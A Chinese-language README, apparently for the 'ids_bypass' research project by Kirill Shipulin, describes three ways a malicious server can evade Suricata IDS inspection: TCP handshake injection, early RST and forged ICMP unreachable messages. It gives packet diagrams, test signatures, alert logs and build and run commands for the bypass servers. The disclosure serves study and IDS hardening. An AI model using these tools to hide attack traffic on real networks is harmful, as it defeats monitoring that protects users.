这些程序仅供教育目的使用。未经许可不得使用。
如果你作为服务端破坏了正常TCP三次握手包的顺序，并在三次握手完成之前注入一些响应数据，那么客户端仍然会接收到数据，但某些IDS引擎可能会跳过对数据内容的检查。
Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # 客户端开始TCP三次握手
Client <- [SYN, ACK] [Seq=0 Ack=1] <- Evil Server # 服务器按正常方式响应，但...
Client <- [PSH, ACK] [Seq=1 Ack=1] <- Evil Server # 它在三次握手完成之前发送HTTP响应
Client <- [FIN, ACK] [Seq=83 Ack=1] <- Evil Server # 此外，它结束了TCP会话
Client -> [ACK] [Seq=1 Ack=84] -> Evil Server # 客户端通过发送ACK包完成TCP三次握手，并确认来自服务器的数据
Client -> [PSH, ACK] [Seq=1 Ack= 4] -> Evil Server # 然后它像什么都没发生一样发送HTTP GET请求
Suricata IDS < 4.0.4 容易受到此问题影响：HTTP或Stream-TCP签名不会对注入的数据发出警报。 如果我们对PoC网络流量应用以下签名，不会看到对恶意http响应数据的任何警报。
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )
03/02/2018-11:08:13.012990 [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:56581
03/02/2018-11:08:13.013610 [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914 [**] [1:5:0] TCP GET ONLY_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914 [**] [1:6:0] HTTP GET RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
Windows客户端能够处理即使是在TCP RST包之后不久到达的TCP数据。一些IDS能正确处理这种情况，并尝试在RST之后匹配数据，但有些IDS在接收到RST后会停止检查TCP流。
Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # 客户端开始TCP三次握手
Client <- [RST, ACK] [Seq=0x0 Ack=1] <- Evil Server # 服务器以TCP RST响应
Client <- [SYN, ACK] [Seq=1 Ack=1] <- Evil Server # 然后在RST之后不久发送SYN-ACK
... 三次握手继续 ...
Suricata IDS 仍然容易受到此问题影响：HTTP或Stream-TCP签名不会对该TCP会话发出警报。
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )
05/03/2018-19:13:43.270632 [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:53434 -> 192.168.235.101:80
05/03/2018-19:13:43.471128 [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:53434
如果UDP数据包发送到关闭的UDP端口，服务器应回复ICMP消息类型"Destination Unreachable"（目标不可达）代码"Port Unreachable"（端口不可达）。IDS可能会像处理TCP RST包一样解释ICMP不可达应答，并停止或限制对该UDP流的检查。如果正常的UDP应答在ICMP消息之后出现，攻击者就可以绕过来自其服务器的UDP流量检查。请注意，正常的客户端在收到ICMP目标不可达后会关闭连接，因此我们在ICMP消息附加的UDP中交换IP地址和UDP端口，这样客户端不会接受此类ICMP消息，但IDS会接受。
Client -> [UDP Req] -> Evil Server # 客户端通过发送一个数据包开始UDP会话
Client <- [ICMP] [Type=3, Code=3] <- Evil Server # 服务器首先响应*改进的*ICMP目标不可达
Client <- [UDP Resp] <- Evil Server # 然后像往常一样发送UDP应答
Suricata IDS < 3.1.2 容易受到此问题影响：UDP签名不会匹配来自恶意服务器的数据包。
alert udp any any -> any any (msg: "UDP BEEN RULE"; content: "been"; sid: 1; )
alert udp any any -> any any (msg: "UDP HELLO RULE"; content: "hello"; sid: 2; )
05/03/2018-03:44:11.016635 [**] [1:2:0] UDP HELLO RULE [**] [Classification: (null)] [Priority: 3] {UDP} 192.168.235.100:46599 -> 192.168.235.101:80
这些技术可能适用于其他入侵检测或网络监控工具和系统。
Kirill Shipulin（Positive Technologies）(@kirill_wow) 我在Hackfest 2018演讲的幻灯片可在此获取
git clone https://github.com/kirillwow/ids_bypass.git
cd ids_bypass
make
# inject server
sudo iptables -A OUTPUT -p tcp --sport 80 --tcp-flags RST RST -j DROP
sudo ./inject_server # 打印帮助信息
sudo ./inject_server -i eno16777736 -p 80
# rst server
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 -m owner --uid-owner 0 --tcp-flags RST RST -j ACCEPT
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 --tcp-flags RST RST -j DROP
sudo ./rst_server # 打印帮助信息
sudo ./rst_server -i eno16777736 -p 80
# icmp server
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -m owner --uid-owner 0 -j ACCEPT
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -j DROP
sudo ./icmp_server # 打印帮助信息
sudo ./icmp_server -i eno16777736 -p 80
